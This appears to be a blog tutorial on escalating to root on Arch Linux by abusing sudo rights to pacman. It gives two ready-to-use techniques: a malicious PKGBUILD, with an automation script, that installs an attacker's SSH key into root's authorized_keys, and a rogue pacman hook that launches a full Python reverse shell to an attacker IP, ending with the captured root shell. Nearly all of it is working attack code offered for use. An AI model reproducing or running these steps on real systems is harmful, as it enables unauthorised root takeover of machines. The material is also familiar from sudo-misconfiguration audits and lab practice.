Privilege Escalation via Pacman
Privilege escalation with pacman
.
Pacman is Arch Linux’s package manager for installing, updating, and managing software with
.pkg.tar.zst
files via a simple command-line interface,
If the user has sudo permission to run pacman
, we can easily escalate privileges to root.
1
2
3
[skid@arch]$ sudo -l
User skid may run the following commands on arch:
(ALL : ALL) NOPASSWD: /usr/bin/pacman
I
Required stuff
- PKGBUILD shell script with the code provided below.
- SSH key pair, with the public key renamed (e.g.,
id_rsa.pub
) toauthorized_keys
. - Build the package using makepkg.
- Install the package.
What is PKGBUILD?
PKGBUILD is a shell script used in Arch Linux to define how a package is built, including metadata (name, version, description), dependencies, source files, and the steps to compile/install it. It’s processed by
makepkg
to create an installable.pkg.tar.zst
forpacman
. You can read more about it on Arch Linux btw Wiki.
First, create a directory and name it whatever you want:
1
2
[skid@arch]$ mkdir priv && cd priv
[skid@arch priv]$ nano PKGBUILD
In the PKGBUILD
file, add the following content:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege escalation"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
install -Dm755 "$srcdir/authorized_keys" "$pkgdir/root/.ssh/authorized_keys"
}
SSH Access
Now, generate SSH keys on the target machine, and rename id_rsa.pub
to authorized_keys
:
1
[skid@arch]$ ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
1
[skid@arch]$ mv id_rsa.pub authorized_keys
This malicious package script is designed to add our public SSH key to root’s authorized_keys.
Execute it
What is makepkg
?
makepkg
is a tool in Arch Linux used to build packages from source using aPKGBUILD
script. It compiles the software and creates an installable.pkg.tar.zst
package for use withpacman
. You can read more about it on here
Next, run makepkg
in the directory containing the PKGBUILD
script:
1
[skid@arch priv]$ makepkg
After generating the package, transfer the id_rsa
private key to your own machine and set its permissions to 600
:
1
[skid@arch] chmod 600 id_rsa
The makepkg
command should produce a .zst
file, such as privesc-1.0-1-any.pkg.tar.zst
. Finally, install this package with pacman
:
1
[skid@arch priv]$ sudo /usr/bin/pacman -U /home/skid/priv/privesc-1.0-1-any.pkg.tar.zst
This will add your SSH key to the root user’s authorized_keys, allowing root access via SSH.
Bash Script
Just a bash script to do all the crap in snap.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/bin/bash
# Create a working directory
mkdir priv && cd priv
# Generate PKGBUILD file
cat <<EOF >PKGBUILD
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege Escalation Package"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
install -Dm755 "\$srcdir/authorized_keys" "\$pkgdir/root/.ssh/authorized_keys"
}
EOF
# Generate SSH keys
ssh-keygen -t rsa -b 4096 -f id_rsa -N ""
mv id_rsa.pub authorized_keys
# Build the malicious package
makepkg
# Output message
echo "Malicious package created! Run the following command to deploy:"
echo "sudo pacman -U $(pwd)/privesc-1.0-1-any.pkg.tar.zst"
echo "Don't forget to secure your private key: id_rsa"
II
Required stuff
- Local copy of
pacman.conf
in a writeable directory (e.g./dev/shm
). - A directory to hold hooks, create under
/dev/shm
. - A hook file (e.g.
test.hook
) in hook directory. (/dev/shm/hook/test.hook
) - Update the local copy of
pacman.conf
the path of hook dir with your one. - Remove an installed pkg to trigger it.
Details
pacman.conf
pacman.conf is the main configuration file for the pacman package manager in Arch Linux. It defines settings for package installation, updates, and repository management, including repository sources, options for handling dependencies, file locations, and hook settings. The file is typically located at
/etc/pacman.conf.
What are Hooks? (for pacman.conf)
Hooks in pacman.conf automate tasks before or after package operations, like clearing caches, updating databases, or triggering systemd services, based on defined events (e.g., package install or removal). You can read more about it on Here.
Why use Hooks for Privilege Escalation?
Pacman hooks can execute system commands during specific package operations, such as installation, upgrades, or removal. By defining an
[Action]
and settingWhen = PreTransaction
, you can run arbitrary commands or scripts before the transaction begins.
For example this code snippet:
1
2
3
[Action]
When = PreTransaction
Exec = /bin/sh -c "python3 /opt/set_dev_env.py"
Implementing it
Make a copy of pacman:
1
[skid@arch] cp /etc/pacman.conf /dev/shm/pacman.conf
Edit it and update the HookDir
under [options]
1
[skid@arch] nano /dev/shm/pacman.conf
Like this:
1
2
3
4
5
6
7
8
9
10
11
<SNIP>
[options]
# The following paths are commented out with their default values listed.
# If you wish to use different paths, uncomment and update the paths.
#RootDir = /
#DBPath = /var/lib/pacman/
#CacheDir = /var/cache/pacman/pkg/
#LogFile = /var/log/pacman.log
#GPGDir = /etc/pacman.d/gnupg/
HookDir = /dev/shm/hooks/
<SNIP>
Uncomment
#HookDir
, make sure it’s not commented out else you won’t be shelling the arch skids.
test.hook
Create a directory to hold hooks:
1
[skid@arch]$ mkdir /dev/shm/hooks
Then create a test.hook
:
test.hook
1
2
3
4
5
6
7
8
9
10
[Trigger]
Operation = Install
Operation = Upgrade
Operation = Remove
Type = Package
Target = *
[Action]
When = PreTransaction
Exec = /bin/sh -c "python3 /dev/shm/shell.py IP 9001 &"
You can find more example hooks on here.
shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
import os
import socket
import sys
import pty
if os.fork() == 0:
cb = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cb.connect((sys.argv[1], int(sys.argv[2])))
os.dup2(cb.fileno(), 0)
os.dup2(cb.fileno(), 1)
os.dup2(cb.fileno(), 2)
pty.spawn("/bin/sh")
cb.close()
Executing it
Now we have all what we need, let’s remove a pkg. I’ll remove chromium.
1
[skid@arch]$ sudo /usr/bin/pacman --config /dev/shm/pacman.conf -R chromium
On the other hand, there is a shell:
1
2
3
4
[[email protected]]➜ ~ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.x] from (UNKNOWN) [10.129.x.x] 50666
sh-5.2#
Thanks to my lovely friends!
Thanks to you for reading my blog, have a great day cutie pie btw!